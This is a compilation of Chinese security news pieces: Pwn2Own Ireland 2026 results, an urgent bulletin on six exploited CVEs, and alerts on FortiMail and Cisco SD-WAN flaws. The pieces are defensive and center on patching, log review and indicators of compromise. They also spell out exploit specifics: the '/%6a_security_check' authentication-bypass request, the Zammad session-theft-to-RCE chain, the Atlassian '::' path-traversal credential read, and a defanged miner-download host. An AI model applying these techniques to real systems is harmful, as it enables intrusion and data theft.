||||
攻击目标：Philips Hue Bridge Pro
|
||||
|
||||
漏洞类型：组合4个漏洞，全部为碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$5,000 | 2分
|
||||
|
||||
✅ Chulhan Park, Mingeun Kim, SeokHun Lee, Inhyung Lee, Sehyun Baek, Nayeon Lee, Junseok Kim (Team MAMMOTH)
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
漏洞类型：6个独特零日漏洞组合利用
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$7,500 | 3分
|
||||
|
||||
|
||||
**🖨️ 打印设备项目**
|
||||
|
||||
✅ Lucas Van Haaren, Hugo Leclercq (FuzzingLabs)
|
||||
|
||||
攻击目标：Brother MFC-L8970CDW
|
||||
|
||||
漏洞类型：单个独特零日漏洞
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$20,000 | 2分
|
||||
|
||||
✅ Sina Kheirkhah, Aaron Christophel (Summoning Team)
|
||||
|
||||
攻击目标：Canon imageFORCE 1643F Multifunction Copier
|
||||
|
||||
漏洞类型：4个独特漏洞组合利用
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$5,000 | 2分
|
||||
|
||||
✅ Cong Thanh, Duc Hieu, Nam Dung
|
||||
|
||||
攻击目标：Lexmark CX532adwe
|
||||
|
||||
漏洞类型：2个独特漏洞组合利用
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$5,000 | 2分
|
||||
|
||||
|
||||
**⌚ 健康设备项目**
|
||||
|
||||
❌ Polina Smirnova, Mikhail Evdokimov, Mate Zombor (White Noise Club)
|
||||
|
||||
攻击目标：Garmin Index BPM
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
（未能在规定时间内完成漏洞利用）
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**最终排名**
|
||||
|
||||
|
||||
**🏆 Master of Pwn总冠军：Ikotas Labs, Inc.**
|
||||
|
||||
安全团队Ikotas Labs凭借多项高价值目标的成功利用，最终夺得本届Pwn2Own Ireland 2026赛事的“Master of Pwn（黑客大师）”冠军！
|
||||
|
||||
|
||||
本届赛事覆盖智能手机、AI基础设施、智能家居等多个领域，Google Pixel 10、Samsung Galaxy S26、OpenAI Codex等多个重要目标被成功攻破。大量零日漏洞及复杂漏洞利用链的披露，进一步凸显了AI基础设施与智能终端面临的安全风险，也将推动相关厂商加快漏洞修复与安全防护升级。
|
||||
|
||||
|
||||
参考来源：
|
||||
|
||||
**[1] Pwn2Own Ireland 2026 - Day One Results**
|
||||
|
||||
https://www.zerodayinitiative.com/blog/2026/10/6/pwn2own-ireland-2026-day-one-results
|
||||
|
||||
**[2] Pwn2Own Ireland 2026 - Day Two Results**
|
||||
|
||||
https://www.zerodayinitiative.com/blog/2026/10/7/pwn2own-ireland-2026-day-two-results
|
||||
|
||||
**[3] Pwn2Own Ireland 2026 - Day Three Results & Master of Pwn**
|
||||
|
||||
https://www.zerodayinitiative.com/blog/2026/10/8/pwn2own-ireland-2026-day-three-results-amp-master-of-pwn
|
||||
|
||||
**[4] Pwn2Own Ireland 2026 - The Full Schedule**
|
||||
|
||||
https://www.zerodayinitiative.com/blog/2026/10/5/pwn2own-ireland-2026-the-full-schedule
|
||||
|
||||
|
||||
|
||||
“扫描下方二维码，进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与！”
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
建议您订阅360漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。
|
||||
|
||||
|
||||
邮箱：360VRI@360.cn
|
||||
|
||||
网址：https://vi.loudongyun.360.net
|
||||
|
||||
|
||||
|
||||
“洞”悉网络威胁，守护数字安全
|
||||
|
||||
|
||||
**关于我们**
|
||||
|
||||
|
||||
360漏洞研究院，隶属于360安全能力中心。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。
|
||||
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
# 【安全速报】10月9日高危漏洞紧急预警
|
||||
探知安全
|
||||
探知安全 探知安全 2026-10-09 02:16
|
||||
|
||||
# 【安全速报】10月9日高危漏洞紧急预警
|
||||
|
||||
2026年10月09日 | 探知安全
|
||||
|
||||
今日焦点
|
||||
|
||||
过去 72 小时是近几个月最密集的"边界设备连环沦陷"窗口——Fortinet FortiMail 零日任意文件写（CVE-2026-104286）在披露当天就进入 CISA KEV，一个未认证 HTTP 请求即可往邮件网关任意路径写文件；Cisco Catalyst SD-WAN Manager 认证绕过（CVE-2026-76504）把整个分支网络的控制权拱手让出，%6a 一个字符就绕过 SSO 门禁；Citrix NetScaler 则在 10 天内被第三个零日（CVE-2026-88779）击中 SAML 单点登录组件，上周刚打过补丁的设备这次还得再升一次。软件侧同样热闹：荷兰 DIVD 曝光开源工单系统 Zammad 被用来"偷会话—执行代码—提权到 root"的完整链，PoC 已于 10 月 7 日公开；Atlassian 一次性把 8 款 Data Center 产品全部拉下水（CVE-2026-21589）；AhsayCBS 备份管理控制台从 10 月 7 日起被批量打，攻击者顺手丢进 XMRig 挖矿木马。建议优先排查：公网暴露的 FortiMail、Cisco SD-WAN Manager、NetScaler，以及托管 Zammad/Jira/Confluence/AhsayCBS 的自建服务器。
|
||||
## 漏洞详情
|
||||
|
||||
严重
|
||||
CVE-2026-104286
|
||||
CVSS 9.8
|
||||
### FortiMail 零日任意文件写：一个未认证请求就能往邮件网关写任意文件（CVSS 9.8·CISA KEV 10/1·零日披露当天入 KEV）
|
||||
|
||||
Fortinet FortiMail 邮件安全网关存在未认证任意文件写漏洞 CVE-2026-104286（CVSS 3.1 9.8，AV:N/AC:L/PR:N/UI:N），通告编号 FG-IR-26-175，于 10 月 1 日发布。攻击者只需向身份 Based Encryption（IBE）功能的请求处理端点发送一个 HTTP 请求，不需要会话令牌、不需要任何管理员凭据、不需要与设备有任何前置交互，即可把攻击者控制的文件写到设备文件系统的任意路径。这一次，CISA 在通告发布的同一天（10 月 1 日）就把漏洞收入 KEV，联邦机构的强制缓解窗口只有 3 天——这是"披露即已被在野利用"最清晰的信号，意味着真实利用早于官方通知的时间窗口未知。漏洞由 Fortinet 内部 PSIRT 发现并归功于研究者 Gwendal Guégniaud。Fortinet PSIRT 另在 10 月 5 日确认 7.2 分支没有自己的修复版本，必须迁移到 7.4 以上。
|
||||
|
||||
影响范围
|
||||
|
||||
FortiMail 7.2.0–7.2.9、7.4.0–7.4.8、7.6.0–7.6.6、8.0.0–8.0.1；修复版本为 8.0.2 / 7.6.7 / 7.4.9 及以上，7.2 分支无同分支修复
|
||||
|
||||
**修复建议：**
|
||||
立即升级至 8.0.2、7.6.7 或 7.4.9 以上，仍在 7.2 的组织必须规划迁移到 7.4 或更高分支；无法立刻升级时可用 CLI 执行 config system encryption ibe / set status disable / end
|
||||
关闭 IBE 功能，或将管理接口限制到可信内网；补丁只解决后续写入，KEV 条目同时带有取证排查要求——升级前先留存设备日志与管理访问记录，重点核对管理接口上是否存在异常写入的新文件与非预期的 Web 服务进程。
|
||||
|
||||
严重
|
||||
CVE-2026-76504
|
||||
CVSS 9.8
|
||||
### Cisco Catalyst SD-WAN Manager 认证绕过：%6a 一个字符绕过认证，直接拿到管理员 API 权限（CVSS 9.8·CISA KEV 9/30·9 月已在野利用）
|
||||
|
||||
Cisco Catalyst SD-WAN Manager（原 vManage）存在 API 会话认证管理中的 URI 编码处理不当漏洞 CVE-2026-76504（CVSS v3.1 9.8，CWE-177），通告 cisco-sa-sdwan-webauth-xr8beuuU，9 月 30 日公开。原理并不复杂：认证规则对原始路径字符串做匹配判断，攻击者把 j_security_check
|
||||
中的字符 j 百分号编码成 %6a（POST /%6a_security_check），规则匹配不到受保护路径模式而放行，应用服务器随后在路由阶段解码该字符，请求落回真实端点并以 admin 权限处理。Cisco 明确指出这是"regardless of configuration"——不依赖任何配置组合，无法用访问控制策略消除暴露面。Horizon3 的分析补充：该路径中的**任意单个字符**
|
||||
百分号编码都能绕过，只盯 %6a 的特征签名会漏掉全部变体。Cisco PSIRT 于 9 月在处理 TAC 工单时发现该漏洞正被在野利用，CISA 同日（9 月 30 日）收入 KEV，联邦截止 10 月 3 日。SD-WAN Manager 是整个分支网络的单一控制台，可读设备配置、向边缘路由器下发配置、修改安全策略，影响面覆盖最多 6000 台设备。
|
||||
|
||||
影响范围
|
||||
|
||||
全部受支持的 Catalyst SD-WAN Manager 版本：20.9 分支（< 20.9.10.1）、20.12（< 20.12.8.2）、20.15（< 20.15.6.1）、20.18（< 20.18.4.1）、26.1（< 26.1.2.1）、26.2；20.9 之前的版本无同分支修复路径，需升级到当前受支持版本。Cisco 托管的 SD-WAN Cloud 已在 20.15.605 修复，无需客户操作
|
||||
|
||||
**修复建议：**
|
||||
按分支升级至 20.9.10.1 / 20.12.8.2 / 20.15.6.1 / 20.18.4.1 / 26.1.2.1 / 26.2.1，Cisco 明确不提供 workaround；升级前把管理门户从公网撤出并置于防火墙或专用管理网段之后（注意：管理面防火墙只能缩短暴露窗口，不能替代升级）；立即检索 /var/log/nms/containers/service-proxy/serviceproxy-access.log
|
||||
与 /var/log/nms/vmanage-server.log
|
||||
中的 j_security_check
|
||||
、其 URL 编码变体、未知源 IP，以及 viptela-reserved- 开头用户的异常活动；执行 request admin-tech 生成技术支持包并开 Severity 3 TAC case 复核。这是 2026 年第 5 个被利用的 Cisco SD-WAN 零日，自 2021 年 11 月以来 CISA 已标记 90 个 Cisco 漏洞为在野利用。
|
||||
|
||||
高危
|
||||
CVE-2026-88779
|
||||
CVSS 8.7（官方 v4.0）
|
||||
### Citrix NetScaler SAML 组件内存溢出：同一个平台 10 天内第三个零日，上周打过补丁的还得再升一次（CVSS 8.7·CISA KEV 10/4·在野利用）
|
||||
|
||||
Citrix NetScaler ADC 与 NetScaler Gateway 存在内存溢出漏洞 CVE-2026-88779（CWE-119，Citrix 官方 CVSS v4.0 评分 8.7，向量 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H），通告 CTX697174，10 月 3 日发布、10 月 4 日进 KEV。触发前提是设备被配置为 SAML 服务提供方（SP）或身份提供方（IdP），也就是企业单点登录的典型配置；满足条件时，未认证远程攻击者发送一个特制请求即可触发内存溢出导致拒绝服务，反复触发会让服务持续不可用。Citrix 官方立场是"仅影响可用性、未发现数据完整性影响"，但 Kevin Beaumont 的蜜罐在已修复上一轮漏洞的设备上被通过本漏洞攻陷，攻击者下载并执行了恶意二进制；另有管理员报告攻击者在种植 Web Shell、修改启动脚本、外传设备配置。**本条最需要强调的细节：上一期（9 月 30 日）刚刚为修复 CVE-2026-88771/88772/CTX697096 而升级到的 14.1-73.37 / 13.1-64.23，仍然处于本漏洞的受影响范围内，必须再次升级到 73.41 / 64.28。**
|
||||
|
||||
影响范围
|
||||
|
||||
NetScaler ADC / Gateway 14.1（< 14.1-73.41）、13.1（< 13.1-64.28）、ADC 14.1-FIPS（< 14.1-73.41 FIPS）、ADC 13.1-FIPS 与 13.1-NDcPP（< 13.1-37.282）；Secure Private Access Hybrid 部署中的 NetScaler 实例同样受影响。仅客户自管的 NetScaler 受影响，Citrix 托管的云服务已由 Citrix 升级
|
||||
|
||||
**修复建议：**
|
||||
升级至 14.1-73.41、13.1-64.28、14.1-73.41 FIPS 或 13.1-37.282 FIPS/NDcPP 及以上——即使上周刚为 CTX697096 打过补丁也必须再升一次；在所有 NetScaler 配置（含 FIPS、NDcPP、SPA Hybrid）中搜索 add authentication samlAction
|
||||
与 add authentication samlIdPProfile
|
||||
确认是否受影响；升级前在 NetScaler Console 启用 Virtual patching，通过 show appfw signatures
|
||||
确认签名版本为 v24 及以上，用 stat denylist global AAA_REQUEST
|
||||
查看命中情况，可用 Global Deny List 签名临时阻断攻击源 IP；日志侧排查 /saml/login
|
||||
异常请求、/var/log/ns.log
|
||||
中 SAML 处理与内存分配相关报错、/var/crash/
|
||||
下近期新增的崩溃转储，以及主进程下是否派生 shell 进程。
|
||||
|
||||
严重
|
||||
CVE-2026-102489 / 102490
|
||||
CVSS 9.4
|
||||
### Zammad 工单系统被"偷会话—执行代码—提权 root"三连击，PoC 已公开（CVSS 4.0 9.4（串联场景）·CISA KEV 10/2·真实入侵事件驱动）
|
||||
|
||||
开源工单系统 Zammad 的一对漏洞组合成了本周最完整的攻击链。CVE-2026-102489（CWE-384 会话固定）由 DIVD 作为 CNA 披露：Zammad 6.3.0 至 6.5.4 存在会话劫持漏洞，攻击者无需预先持有账号权限（PR:N），可劫持有效会话并以服务器上的 zammad 服务账号执行代码（涉及被动用户交互 UI:P）。Horizon3.ai 于 10 月 7 日公开了可用 PoC：向 Zammad 的 WebSocket 端点 /ws
|
||||
发送一个畸形事件会触发 Ruby NoMethodError，错误回显中直接带出 @clients 注册表里在线客户端的 HTTP Cookie 与有效 _zammad_session
|
||||
；拿到管理员会话后可利用软件包安装功能写入恶意 ERB 模板覆盖密码重置邮件视图，触发渲染即实现任意命令执行。CVE-2026-102490 则是本地权限提升（zammad → root），影响 1.5.0 至 7.1.0-alpha。DIVD 在调查自身 9 月安全事件时确认二者被串联使用，从网络侧会话劫持到 root 提权在数秒内完成；CISA 于 10 月 2 日将两条一并收入 KEV，联邦截止 10 月 5 日。需要注意的是版本口径：DIVD 记录 7.0.0–7.1.3 代码同样存在该缺陷，但因框架变更无法实际利用；厂商采用更保守口径，认为真实可利用风险集中在 6.5 及更早的已停止支持版本。Zammad 常见于 MSP 与集成商环境，一旦失守，工单附件、客户联系方式、内部集成令牌都是攻击者的目标。
|
||||
|
||||
影响范围
|
||||
|
||||
Zammad 6.3.0 至 6.5.4（会话劫持 + RCE，厂商口径认为 6.5 及更早为真实可利用）；CVE-2026-102490 影响 1.5.0 至 7.1.0-alpha（本地提权）。7.2.0 含额外代码加固；低于 6.3.0 的版本状态标记为未知，且早已停止支持
|
||||
|
||||
**修复建议：**
|
||||
仍在 6.5 或更早版本的组织立即升级迁移到受支持的 Zammad 7 版本，优先 7.2.0 及以上（Zammad 10 月 5 日公告已确认 CVE-2026-102490 与 packager.io 的一项已确认漏洞有关，正在分析并制定方案），切勿仅凭版本区间把 6.5.4 当作安全版本；升级前备份数据库、附件、配置、日志与部署清单，升级后验证认证、邮件收发、工单流转、API、Webhook 与外部集成；无法立刻升级时将实例从公网下线或置于 VPN 之后、收紧容器与 SSH 入口、把 Zammad 与身份/邮件/数据库做网络分段；升级后必须开展失陷排查——异常会话与会话跨来源复用、zammad 服务账号下的异常进程与外联、管理员与集成账号的异常工单批量导出与权限变更、近期新增的 API 令牌与 OAuth 配置，并按失陷范围轮换凭据。
|
||||
|
||||
严重
|
||||
CVE-2026-21589
|
||||
CVSS 9.3（官方 v4.0）
|
||||
### Atlassian 一锅端 8 款产品：双冒号让路径遍历生效，Jira/Confluence/Crowd 明文凭据裸奔（CVSS 9.3·10/5 披露·PoC 已公开）
|
||||
|
||||
Atlassian 于 10 月 5 日发布安全通告，一款任意文件访问漏洞 CVE-2026-21589（CVSS v4.0 9.3，Atlassian 内部评估；NVD 标注 CWE-552）同时影响 Bitbucket Data Center、Confluence Data Center、Jira Service Management Data Center、Jira Software Data Center、Bamboo Data Center、Crowd Data Center、Crucible、Fisheye 八款产品的全部版本。未认证攻击者只要知道目标文件的准确路径，就能读取 Web 应用根目录内的任意文件。watchTowr Labs 在 10 月 6 日通过对比修复前后安装包给出技术分析：根因在 Web 资源处理层对双冒号序列（::）的处理——它在请求处理过程中被当作路径分隔符，从而让遍历片段到达资源加载代码；测试显示虽然无法穿越 Tomcat context 边界，但整个应用根目录内的文件都能读出。在 Jira 指向 Crowd 的部署中，读取 WEB-INF/classes/crowd.properties
|
||||
可拿到明文应用凭据，攻击者据此创建用户并加入 jira-administrators 群，直接拿下整个 Atlassian 生态的管理权。Rapid7 表示文件读取 PoC 已公开，要求按紧急变更流程处理。Atlassian 云产品已修复且未发现被利用证据。
|
||||
|
||||
影响范围
|
||||
|
||||
上述 8 款产品的所有版本（含已停止支持版本）均在受影响范围内；修复版本分别为 Bitbucket DC 9.4.26 / 10.2.8 / 10.5.1、Confluence DC 9.2.26 / 10.2.19、Jira Service Management DC 5.12.40 / 10.3.26 / 11.3.12、Jira Software DC 9.12.40 / 10.3.26 / 11.3.12、Bamboo DC 10.2.24 / 12.1.12、Crowd DC 6.3.7 / 7.0.3 / 7.1.7 / 7.2.4、Crucible 4.9.15、Fisheye 4.9.15
|
||||
|
||||
**修复建议：**
|
||||
按产品线分别升级到对应修复 LTS 版本或最新版；无法立刻打补丁的实例先从公网撤出或严格限制外部访问；厂商给出三种临时缓解——全部产品可用 WAF/代理层规则阻断路径遍历模式，Confluence/JSM/Jira Software/Bamboo/Crowd 可在 Tomcat 启用 RewriteValve 并在 WEB-INF 部署 rewrite.config，Bitbucket 需在所有节点与镜像节点的 app/WEB-INF/urlrewrite.xml 顶部加阻断规则后重启（应用前备份实例）；排查时将访问日志逐行 URL 解码后检查 ..
|
||||
是否紧邻 /、\ 或 ::，或用厂商提供的正则直接检索原始日志，确认失陷的实例需轮换暴露过的凭据与密钥并联系相关主管机构。
|
||||
|
||||
严重
|
||||
CVE-2026-105133 / 105134
|
||||
CVSS 9.8（厂商定级）
|
||||
### AhsayCBS 备份管理控制台被批量打穿：认证绕过链免认证 RCE，攻击者顺手埋下 XMRig 挖矿木马（CVSS 9.8·10/4 披露·10/7 起在野利用）
|
||||
|
||||
AhsayCBS（Ahsay 备份软件的管理控制台，主要部署在 MSP 与系统集成商处）存在两条配套漏洞：NVD 于 10 月 4 日收录的 CVE-2026-105133（影响 com/ahsay/obs/api/ApiStructsAction.java 的 checkSysPwd 函数，认证不当，中危）与 CVE-2026-105134（Replication Receiver 组件的 /rps/api/json/UpdateReceivers.do
|
||||
，存在认证绕过可导致以 NT AUTHORITY/SYSTEM 身份免认证远程执行代码，厂商定级 Critical）。Huntress 自 10 月 7 日 23:20:15 UTC 起在蜜罐中观测到真实利用，并发现攻击者把两条漏洞串联使用：先用 105133 绕过认证，再用 105134 执行代码；截至 10 月 8 日已观察到 5 家机构被同一批攻击者命中。攻击链特征清晰：利用后立即在应用目录下落地 JSP Web Shell；另有受害主机上 cbssvcX64.exe 派生出子进程，从 hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com 拉取 Taskgmr.ps1、msedge.exe、edge.exe 与 config.json 到 %TEMP%，其中 msedge.exe/edge.exe 实为 XMRig Monero 挖矿程序的伪装；攻击者还投了一份疑似 AI 辅助生成的 PowerShell 脚本，会监控任务管理器、在深夜发现其打开就将其关闭。Huntress 特别补充：先前认为 10.3.4 不受影响，10 月 8 日复核后确认 10.3.4 同样受影响。
|
||||
|
||||
影响范围
|
||||
|
||||
AhsayCBS 截至 10.3.4 的全部版本（含 10.3.4）；厂商尚未发布补丁，Huntress 已将研究细节通报给 Ahsay
|
||||
|
||||
**修复建议：**
|
||||
补丁到位前收紧 AhsayCBS 管理接口的访问来源，仅允许可信网络访问，并优先检查 cbssvcX64.exe 的子进程派生记录；排查应用目录下的 JSP Web Shell、%TEMP% 与 ../AppData/Local/Temp 下的 Taskgmr.ps1、msedge.exe、edge.exe、config.json；检查是否存在名为 edge 的 XMRig 挖矿进程及到 oss-ap-southeast-7.aliyuncs[.]com 的异常外联；确认失陷的主机应从可信镜像重建，并按失陷范围轮换该控制台上管理的所有备份账户凭据——MSP 环境下的连带影响往往远超单台主机。
|
||||
|
||||
## 紧急提醒
|
||||
|
||||
本期最高优先级是 FortiMail CVE-2026-104286 与 Cisco SD-WAN Manager CVE-2026-76504 这对"边界设备双杀"：前者是一个未认证 HTTP 请求就能往邮件网关任意路径写文件，用来投 Web Shell 或改配置都是标准动作；后者用 %6a 这样一个字符就绕过了单点登录门禁，直接拿到整张 SD-WAN 网络的管理员 API 权限——从读配置到向边缘路由器下发策略都只需要一个请求。两者都在披露当天或次日进入 KEV，联邦窗口只有 2~3 天，实际在野利用早于公告。另外三条同样不可拖：Citrix NetScaler 一周内被第三个零日击中（打过上次补丁的设备必须再升一次，73.37/64.23 不够），Zammad 的会话劫持链已被完整利用且 PoC 公开（HELPDESK 系统里的客户数据与集成令牌是最直接的战利品），AhsayCBS 则是在 MSP 场景下同时丢 Web Shell 和挖矿木马——被攻破的不是一台备份机，而是能管成百上千台客户设备的管理员权限。请注意：KEV 条目附带的取证要求意味着补丁会覆盖现场，正确顺序是留存日志与内存转储 → 排查 IoC → 升级 → 重建与轮换凭据。建议排查顺序：公网 FortiMail → SD-WAN Manager 管理面 → 全部 NetScaler 实例（自查是否停在 73.37/64.23）→ 托管 Zammad / Atlassian 自建服务器 → AhsayCBS。
|
||||
## 处置建议
|
||||
|
||||
①
|
||||
邮件系统负责人立即确认 FortiMail 版本：7.2 分支无同分支修复，必须规划迁移到 7.4 以上；其余升级至 8.0.2 / 7.6.7 / 7.4.9+；无法立刻升级的用 config system encryption ibe / set status disable / end
|
||||
关闭 IBE 或把管理接口限制到内网；升级前先导出管理访问日志与配置备份，核对管理接口上是否出现非预期新增文件与异常 Web 服务进程
|
||||
|
||||
②
|
||||
网络团队盘点所有自建 Catalyst SD-WAN Manager 实例并按分支升级至 20.9.10.1 / 20.12.8.2 / 20.15.6.1 / 20.18.4.1 / 26.1.2.1 / 26.2.1（20.9 以前无同分支修复）；升级前把管理门户从公网撤出并置于防火墙/专用管理网段；立即在 serviceproxy-access.log 与 vmanage-server.log 中检索 j_security_check 及其 URL 编码变体、未知源 IP 与 viptela-reserved- 用户的异常活动，执行 request admin-tech 并开 Severity 3 TAC case 复核
|
||||
|
||||
③
|
||||
NetScaler 管理员今天内再自查一遍版本号：任何停在 14.1-73.37 / 13.1-64.23 的设备必须升级到 14.1-73.41 / 13.1-64.28 / 14.1-73.41 FIPS / 13.1-37.282 FIPS|NDcPP；全量搜索 add authentication samlAction 与 add authentication samlIdPProfile 确认暴露面；补丁前在 Console 启用 Virtual patching 并用 show appfw signatures 确认签名 v24+、stat denylist global AAA_REQUEST 看命中；日志侧检查 /saml/login 异常请求、/var/log/ns.log 的 SAML 处理报错、/var/crash/ 新增转储与主进程派生 shell
|
||||
|
||||
④
|
||||
使用 Zammad 的团队立即确认运行版本（不要只看镜像标签），6.5 及更早版本按厂商口径优先升级到 7.2.0 及以上；升级后必须做失陷排查：异常会话与会话跨来源复用、zammad 服务账号下的异常进程与外联、管理员/集成账号异常工单导出与权限变更、近期新增的 API 令牌与 OAuth 配置；被该实例连接的邮件、身份、数据库系统同步做关联排查，并按范围轮换凭据与注销全部活动会话
|
||||
|
||||
⑤
|
||||
Atlassian 管理员按产品线分别升级（Bitbucket 9.4.26/10.2.8/10.5.1、Confluence 9.2.26/10.2.19、Jira Software 9.12.40/10.3.26/11.3.12、JSM 5.12.40/10.3.26/11.3.12、Bamboo 10.2.24/12.1.12、Crowd 6.3.7/7.0.3/7.1.7/7.2.4、Crucible 与 Fisheye 4.9.15）；无法立刻打的先下公网并部署 WAF/Tomcat RewriteValve/Bitbucket urlrewrite.xml 规则；日志逐行 URL 解码后检查 ..
|
||||
是否紧邻 /、\ 或 ::，Crowd 部署重点确认 crowd.properties 是否已被读取并轮换其中的明文凭据
|
||||
|
||||
⑥
|
||||
MSP 与集成商负责人立即收敛 AhsayCBS 管理接口的访问来源，排查 cbssvcX64.exe 子进程派生、应用目录下的 JSP Web Shell、%TEMP% 与 AppData/Local/Temp 下的 Taskgmr.ps1、msedge.exe、edge.exe、config.json，以及到 oss-ap-southeast-7.aliyuncs[.]com 的外联；补丁发布后第一时间升级（10.3.4 同样受影响）；同时提醒团队注意 AI 应用平台正在成为新的攻击面——Langflow 近期连曝多个 CVE，其中 CVE-2026-105697（MCP stdio 配置命令注入，GitLab Advisory 评 9.9）1.10.3 才完全修复，默认 LANGFLOW_AUTO_LOGIN=true 的实例无需凭据即可被利用，排查时一并核对是否把 AI 编排平台暴露在公网
|
||||
|
||||
觉得有用？点击右下角**在看**
|
||||
，让更多人看到
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
# 【已复现】CVE-2026-104286 FortiMail 未授权任意文件写入漏洞
|
||||
原创 易富贤
|
||||
易富贤 源影安全团队 2026-10-09 00:21
|
||||
|
||||
FortiMail 是 Fortinet 推出的安全邮件网关，通常部署在组织网络边界，承担进出邮件的安全防护职能。所有邮件在传递前均需经由该设备检测：入站方向进行垃圾邮件过滤、钓鱼识别与恶意附件查杀，出站方向实施数据防泄漏审查，同时提供邮件加密、内容归档与审计能力。由于其处于邮件流转的关键路径，设备中留存着组织几乎全部的往来邮件，并与内部邮件服务器、目录服务等核心系统直接相连，一旦被攻陷，影响范围将远超设备本身。
|
||||
|
||||
2026 年 10 月 1 日，Fortinet 发布安全通告 FG-IR-26-175，披露 FortiMail 存在编号为 CVE-2026-104286 的未授权路径穿越漏洞，CVSS 评分 9.8。该漏洞源于加密邮件功能（IBE）的 Web 接口对请求中的文件路径缺乏有效校验：攻击者无需任何凭据，只需向设备 Web 端口发送构造的请求，即可以最高权限向任意路径写入任意内容，并可进一步实现远程命令执行、读取管理员密码哈希、窃取邮件数据等危害。该漏洞在披露前已在野外被利用，CISA 于通告当日将其列入 KEV 目录并限期整改。受影响版本为 7.2.0–7.2.9、7.4.0–7.4.8、7.6.0–7.6.6 及 8.0.0–8.0.1，建议尽快升级至 7.4.9、7.6.7 或 8.0.2；暂无法升级的，可暂时关闭 IBE 功能或将 Web 管理端口访问限制于可信网络。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+173
@@ -0,0 +1,173 @@
|
||||
# 【热点安全风险】10月9日｜Cisco Catalyst SD-WAN Manager 认证绕过遭在野利用 ，攻击者可取得管理员权限（CVE-2026-76504）
|
||||
华顺信安威胁情报中心 2026-10-08 23:30
|
||||
|
||||
**PART.****0****1**
|
||||
|
||||
|
||||
风险汇总
|
||||
|
||||
|
||||
|
||||
|
||||
## 风险一：Cisco Catalyst SD-WAN Manager 认证绕过遭在野利用，攻击者可取得管理员权限（CVE-2026-76504）
|
||||
|
||||
Cisco 于 9 月 30 日发布公告，修复 Catalyst SD-WAN Manager（vManage）API 会话认证绕过漏洞，CVSS 3.1 为 9.8。漏洞源于 HTTP 请求中 URI 编码处理不当，攻击者只需发送经过编码构造的请求即可绕过针对特定 API 端点的认证规则，未认证的远程攻击者可借此以管理员身份访问系统 API。厂商已确认该漏洞遭实际利用，并将其列入已知被利用漏洞目录。Catalyst SD-WAN Manager 是企业广域网的控制中枢，集中下发全网设备的策略与安全配置，一旦被未授权接管，攻击者可篡改路由与安全策略、向分支机构设备下发恶意配置，影响范围覆盖整张广域网。受影响分支为 20.9、20.12、20.15、20.18、26.1 与 26.2，对应修复版本为 20.9.10.1、20.12.8.2、20.15.6.1、20.18.4.1、26.1.2.1 与 26.2.1，官方未提供可完全替代升级的缓解措施。
|
||||
### 建议排查
|
||||
1. 清点 Catalyst SD-WAN Manager 的部署方式（本地或云托管）与在用软件版本。
|
||||
|
||||
1. 检查 service-proxy-access.log 与 vmanage-server.log 中是否存在针对 j_security_check 的编码形式请求。
|
||||
|
||||
1. 核查日志中是否存在以 viptela-reserved 开头的系统账号被异常调用、或来自未知地址的管理请求。
|
||||
|
||||
### 加固建议
|
||||
1. 将平台升级至 20.9.10.1、20.12.8.2、20.15.6.1、20.18.4.1、26.1.2.1 或 26.2.1。
|
||||
|
||||
1. 禁止管理平台直接暴露于互联网，仅允许已知受信主机访问其管理与 API 端口。
|
||||
|
||||
1. 在控制组件前部署过滤设备并长期留存访问日志，便于事后追溯与告警。
|
||||
|
||||
### 参考来源
|
||||
|
||||
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-webauth-xr8beuuU
|
||||
|
||||
## 风险二：Fortinet FortiMail 路径穿越遭在野利用，未认证攻击者可写入任意文件（CVE-2026-104286）
|
||||
|
||||
Fortinet 于 10 月 1 日发布公告，修复 FortiMail 邮件安全网关的路径穿越漏洞，CVSS 3.1 为 9.8。漏洞根因是对文件名受限于受限目录的限制不当，未认证的攻击者可通过构造 HTTP 或 HTTPS 请求，在底层系统上写入任意文件，实施过程无需任何凭据。官方已确认该漏洞遭在野利用，并将其列入已知被利用漏洞目录。FortiMail 通常部署在企业邮件入口，承担垃圾邮件过滤、附件沙箱、邮件加密与归档等职责，被写入任意文件后可进一步覆盖配置文件、植入可执行内容，进而演变为代码执行与邮件数据窃取。由于邮件网关是内外通信的必经节点，设备一旦失守，攻击者可读取全部进出邮件正文与附件、劫持邮件会话，甚至在钓鱼与商务邮件欺诈中冒用企业域名，对内对外均造成直接损失。受影响版本为 FortiMail 8.0.0 至 8.0.1、7.6.0 至 7.6.6、7.4.0 至 7.4.8 与 7.2.0 至 7.2.9，建议按厂商公告升级至修复版本，并收敛设备的互联网暴露面。
|
||||
### 建议排查
|
||||
1. 核对在用 FortiMail 的版本是否落在 8.0.0-8.0.1、7.6.0-7.6.6、7.4.0-7.4.8、7.2.0-7.2.9 区间。
|
||||
|
||||
